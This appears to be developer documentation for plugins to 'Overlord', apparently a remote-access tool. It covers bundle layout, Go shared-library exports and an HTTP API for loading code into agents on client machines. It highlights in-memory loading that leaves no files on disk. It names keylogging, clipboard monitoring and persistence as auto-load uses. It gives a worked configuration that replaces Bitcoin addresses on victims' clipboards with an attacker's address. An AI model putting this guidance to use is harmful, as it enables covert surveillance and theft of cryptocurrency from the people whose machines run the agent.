Files
overlord/PLUGINS.md
T

362 lines
9.8 KiB
Markdown
Raw Normal View History

2026-03-05 00:04:26 -06:00
# Overlord Plugins
2026-03-19 16:29:26 -05:00
This document explains how to build Overlord plugins using the **native plugin system**. Plugins run as native shared libraries (`.so` on Linux, `.dylib` on macOS, in-memory DLL on Windows), giving them full access to the Go runtime and system APIs.
2026-03-05 00:04:26 -06:00
2026-03-19 16:29:26 -05:00
> TL;DR: A plugin is a zip with platform-specific binaries (`.so`/`.dll`/`.dylib`) plus `<id>.html`, `<id>.css`, `<id>.js`. Upload it in the Plugins page or drop it in Overlord-Server/plugins.
2026-03-05 00:04:26 -06:00
## 1) How plugins are structured
### Required bundle format
A plugin bundle is a zip file named after the plugin ID:
```
<pluginId>.zip
```
2026-03-19 16:29:26 -05:00
Inside the zip (root level), you need:
2026-03-05 00:04:26 -06:00
2026-03-19 16:29:26 -05:00
- **Platform-specific binaries** named `<pluginId>-<os>-<arch>.<ext>`
- **Web assets**: `<pluginId>.html`, `<pluginId>.css`, `<pluginId>.js`
2026-03-05 00:04:26 -06:00
Example for plugin ID `sample`:
```
sample.zip
2026-03-19 16:29:26 -05:00
├─ sample-linux-amd64.so
├─ sample-linux-arm64.so
├─ sample-darwin-arm64.dylib
├─ sample-windows-amd64.dll
2026-03-05 00:04:26 -06:00
├─ sample.html
├─ sample.css
└─ sample.js
```
2026-03-19 16:29:26 -05:00
When the server extracts the zip:
2026-03-05 00:04:26 -06:00
```
2026-03-19 16:29:26 -05:00
Overlord-Server/plugins/sample/
├─ sample-linux-amd64.so
├─ sample-linux-arm64.so
├─ sample-darwin-arm64.dylib
├─ sample-windows-amd64.dll
├─ manifest.json (auto-generated)
2026-03-05 00:04:26 -06:00
└─ assets/
2026-03-19 16:29:26 -05:00
├─ sample.html
├─ sample.css
└─ sample.js
2026-03-05 00:04:26 -06:00
```
### Manifest fields
2026-03-19 16:29:26 -05:00
The auto-generated manifest:
2026-03-05 00:04:26 -06:00
2026-03-19 16:29:26 -05:00
```json
2026-03-05 00:04:26 -06:00
{
"id": "sample",
"name": "sample",
"version": "1.0.0",
2026-03-19 16:29:26 -05:00
"binaries": {
"linux-amd64": "sample-linux-amd64.so",
"linux-arm64": "sample-linux-arm64.so",
"darwin-arm64": "sample-darwin-arm64.dylib",
"windows-amd64": "sample-windows-amd64.dll"
},
2026-03-05 00:04:26 -06:00
"entry": "sample.html",
"assets": {
"html": "sample.html",
"css": "sample.css",
"js": "sample.js"
}
}
```
2026-03-19 16:29:26 -05:00
The server picks the right binary for the target client's OS/arch when loading.
2026-03-05 00:04:26 -06:00
2026-03-19 16:29:26 -05:00
## 2) Build a native plugin
2026-03-05 00:04:26 -06:00
2026-03-19 16:29:26 -05:00
### Plugin contract
2026-03-05 00:04:26 -06:00
2026-03-19 16:29:26 -05:00
Plugins are Go packages that export specific functions. The core logic is shared across platforms, with thin platform-specific export wrappers.
All platforms use `-buildmode=c-shared` and export C-callable functions.
#### Linux / macOS (`.so` / `.dylib`)
```go
//export PluginOnLoad
func PluginOnLoad(hostInfo *C.char, hostInfoLen C.int, cb C.uintptr_t, ctx C.uintptr_t) C.int
//export PluginOnEvent
func PluginOnEvent(event *C.char, eventLen C.int, payload *C.char, payloadLen C.int) C.int
//export PluginOnUnload
func PluginOnUnload()
2026-03-05 00:04:26 -06:00
```
2026-03-19 16:29:26 -05:00
The host passes a callback function pointer and context during OnLoad. The plugin calls the callback to send events back.
2026-03-05 00:04:26 -06:00
2026-03-19 16:29:26 -05:00
Build: `CGO_ENABLED=1 go build -buildmode=c-shared -o sample-linux-amd64.so ./native`
**On Linux, shared libraries are loaded entirely in memory via `memfd_create` — no files touch disk.**
#### Windows (`.dll`)
```go
//export PluginOnLoad
func PluginOnLoad(hostInfo *C.char, hostInfoLen C.int, callbackPtr C.ulonglong) C.int
//export PluginOnEvent
func PluginOnEvent(event *C.char, eventLen C.int, payload *C.char, payloadLen C.int) C.int
//export PluginOnUnload
func PluginOnUnload()
//export PluginSetCallback
func PluginSetCallback(callbackPtr C.ulonglong)
```
The callback is a stdcall function pointer: `func(eventPtr, eventLen, payloadPtr, payloadLen uintptr) uintptr`
Build: `CGO_ENABLED=1 GOOS=windows GOARCH=amd64 go build -buildmode=c-shared -o sample-windows-amd64.dll ./native`
**On Windows, DLLs are loaded entirely in memory — no files are written to disk.**
### HostInfo JSON
```json
{
"clientId": "abc123",
"os": "windows",
"arch": "amd64",
"version": "1.0.0"
}
```
### Project structure
See `plugin-sample-go/native/` for a working example:
```
plugin-sample-go/native/
├─ main.go (shared core logic)
├─ exports_unix.go (Go plugin exports for Linux/macOS)
├─ exports_windows.go (C-shared DLL exports for Windows)
└─ go.mod
```
### Build scripts
Use the provided build scripts:
```bash
# Linux/macOS — builds for current platform by default
./build-plugin.sh
# Build for multiple targets
BUILD_TARGETS="linux-amd64 linux-arm64 darwin-arm64" ./build-plugin.sh
# Windows — builds windows-amd64 by default
build-plugin.bat
# Build for multiple targets
set BUILD_TARGETS=windows-amd64 linux-amd64
build-plugin.bat
```
2026-03-05 00:04:26 -06:00
## 3) Install & open a plugin
### Install / upload
2026-03-19 16:29:26 -05:00
- Use the UI at `/plugins` to upload the zip
- Or drop `<pluginId>.zip` into `Overlord-Server/plugins` and restart
2026-03-05 00:04:26 -06:00
### Open the UI
2026-03-19 16:29:26 -05:00
Plugin UI is served from:
2026-03-05 00:04:26 -06:00
```
/plugins/<pluginId>?clientId=<CLIENT_ID>
```
2026-03-19 16:29:26 -05:00
Your HTML loads its JS/CSS from `/plugins/<pluginId>/assets/`.
2026-03-05 00:04:26 -06:00
## 4) Runtime: how events flow
Overlord plugins have **two parts**:
2026-03-19 16:29:26 -05:00
1. **UI (HTML/CSS/JS)** — Runs in the browser, calls server APIs.
2. **Native module** — Runs in the agent (client) process as a loaded shared library.
2026-03-05 00:04:26 -06:00
### UI → agent (plugin event)
2026-03-19 16:29:26 -05:00
From your UI JS:
2026-03-05 00:04:26 -06:00
```
POST /api/clients/<clientId>/plugins/<pluginId>/event
{
"event": "ui_message",
"payload": { "message": "hello" }
}
```
2026-03-19 16:29:26 -05:00
If the plugin is not loaded yet, the server will load it on the client, queue the event, and deliver it once ready.
2026-03-05 00:04:26 -06:00
2026-03-19 16:29:26 -05:00
### Agent → plugin (direct function call)
2026-03-05 00:04:26 -06:00
2026-03-19 16:29:26 -05:00
The agent calls your `OnEvent(event, payload)` function directly with JSON-encoded data. No stdin/stdout pipes, no msgpack — just a direct function call.
2026-03-05 00:04:26 -06:00
2026-03-19 16:29:26 -05:00
### Plugin → agent (callback)
2026-03-05 00:04:26 -06:00
2026-03-19 16:29:26 -05:00
Your plugin sends events back to the host using the `send` callback received during `OnLoad`:
2026-03-05 00:04:26 -06:00
2026-03-19 16:29:26 -05:00
```go
send("echo", []byte(`{"message":"hello back"}`))
2026-03-05 00:04:26 -06:00
```
2026-03-19 16:29:26 -05:00
On Windows, the equivalent is calling the registered callback function pointer.
2026-03-05 00:04:26 -06:00
### Plugin lifecycle events
2026-03-19 16:29:26 -05:00
The agent sends these events to the server:
2026-03-05 00:04:26 -06:00
- `loaded` on successful load
- `unloaded` when unloaded
- `error` if load or runtime fails
## 5) What can plugins do?
2026-03-19 16:29:26 -05:00
Since plugins run as native code, they can:
2026-03-05 00:04:26 -06:00
2026-03-19 16:29:26 -05:00
- Call any system API (file I/O, network, processes, etc.)
- Use any Go library
- Spawn goroutines
- Access hardware
- Do anything a normal Go program can do
2026-03-05 00:04:26 -06:00
2026-03-19 16:29:26 -05:00
Plugins have the same capabilities as the agent itself.
2026-03-05 00:04:26 -06:00
2026-03-19 16:29:26 -05:00
### UI Security constraints
2026-03-05 00:04:26 -06:00
2026-03-19 16:29:26 -05:00
Plugin UI pages are still served with a tight CSP:
2026-03-05 00:04:26 -06:00
2026-03-19 16:29:26 -05:00
- Scripts must be same-origin
- No third-party JS/CDN
2026-03-05 00:04:26 -06:00
- WebSocket and fetch are allowed to same origin
2026-03-19 16:29:26 -05:00
Plugin UIs run in a **sandboxed iframe** with a fetch bridge.
2026-03-05 00:04:26 -06:00
2026-03-19 16:29:26 -05:00
## 6) API surface
2026-03-05 00:04:26 -06:00
### Plugin management
2026-03-23 10:58:52 -05:00
- `GET /api/plugins` — list installed plugins (includes `autoLoad` and `autoStartEvents` per plugin)
2026-03-05 00:04:26 -06:00
- `POST /api/plugins/upload` — upload zip
- `POST /api/plugins/<id>/enable` — enable/disable
2026-03-23 10:58:52 -05:00
- `POST /api/plugins/<id>/autoload` — configure auto-load on client connect
2026-03-05 00:04:26 -06:00
- `DELETE /api/plugins/<id>` — remove
### Per-client plugin runtime
- `POST /api/clients/<clientId>/plugins/<pluginId>/load`
- `POST /api/clients/<clientId>/plugins/<pluginId>/event`
- `POST /api/clients/<clientId>/plugins/<pluginId>/unload`
### Useful built-in endpoints
2026-03-19 16:29:26 -05:00
- `POST /api/clients/<clientId>/command`
2026-03-05 00:04:26 -06:00
- `WS /api/clients/<clientId>/rd/ws` (remote desktop)
- `WS /api/clients/<clientId>/console/ws`
- `WS /api/clients/<clientId>/files/ws`
- `WS /api/clients/<clientId>/processes/ws`
2026-03-23 10:58:52 -05:00
## 7) Auto-load plugins on client connect
By default, plugins are only loaded when manually triggered via the API or UI. For plugins that need to run 24/7 on every connected client (e.g. clipboard monitoring, keylogging, persistence), you can configure **auto-load**.
When auto-load is enabled for a plugin, the server will automatically load it onto every client that connects. If the client already has the plugin loaded, it's skipped — no duplicate loads.
You can also configure **auto-start events** — a list of events that are queued and delivered to the plugin immediately after it loads. This lets you pre-configure the plugin without any manual interaction.
### Enable auto-load
```
POST /api/plugins/<pluginId>/autoload
Content-Type: application/json
{
"autoLoad": true
}
```
### Enable auto-load with auto-start events
```
POST /api/plugins/<pluginId>/autoload
Content-Type: application/json
{
"autoLoad": true,
"autoStartEvents": [
{ "event": "add_rule", "payload": { "pattern": "^[13][a-km-zA-HJ-NP-Z1-9]{25,34}$", "replacement": "your-btc-address" } },
{ "event": "start", "payload": {} }
]
}
```
The events in `autoStartEvents` are queued in order and delivered to the plugin after it reports `loaded`. This works exactly like calling the event API multiple times, but happens automatically.
### Disable auto-load
```
POST /api/plugins/<pluginId>/autoload
Content-Type: application/json
{
"autoLoad": false
}
```
### How it works
1. Client connects and completes the enrollment handshake
2. Server sends `hello_ack` (as usual)
3. Server dispatches auto-scripts (as usual)
4. Server checks all plugins with `autoLoad: true` and `enabled: true`
5. For each, if the plugin is **not already loaded** on that client:
- Sends the plugin binary bundle (chunked)
- Queues any `autoStartEvents`
6. When the plugin reports `loaded`, queued events are flushed in order
### Checking auto-load status
`GET /api/plugins` returns `autoLoad` and `autoStartEvents` for each plugin:
```json
{
"plugins": [
{
"id": "clipreplace",
"name": "clipreplace",
"enabled": true,
"autoLoad": true,
"autoStartEvents": [
{ "event": "add_rule", "payload": { "pattern": "...", "replacement": "..." } },
{ "event": "start", "payload": {} }
],
"lastError": ""
}
]
}
```
### Notes
- Auto-load respects the `enabled` flag — disabled plugins are never auto-loaded
- Auto-load state is persisted in `.plugin-state.json` and survives server restarts
- Deleting a plugin also removes its auto-load configuration
- The server selects the correct binary for each client's OS/architecture automatically
- If a plugin binary isn't available for a client's platform, the auto-load silently skips that client
2026-03-05 00:04:26 -06:00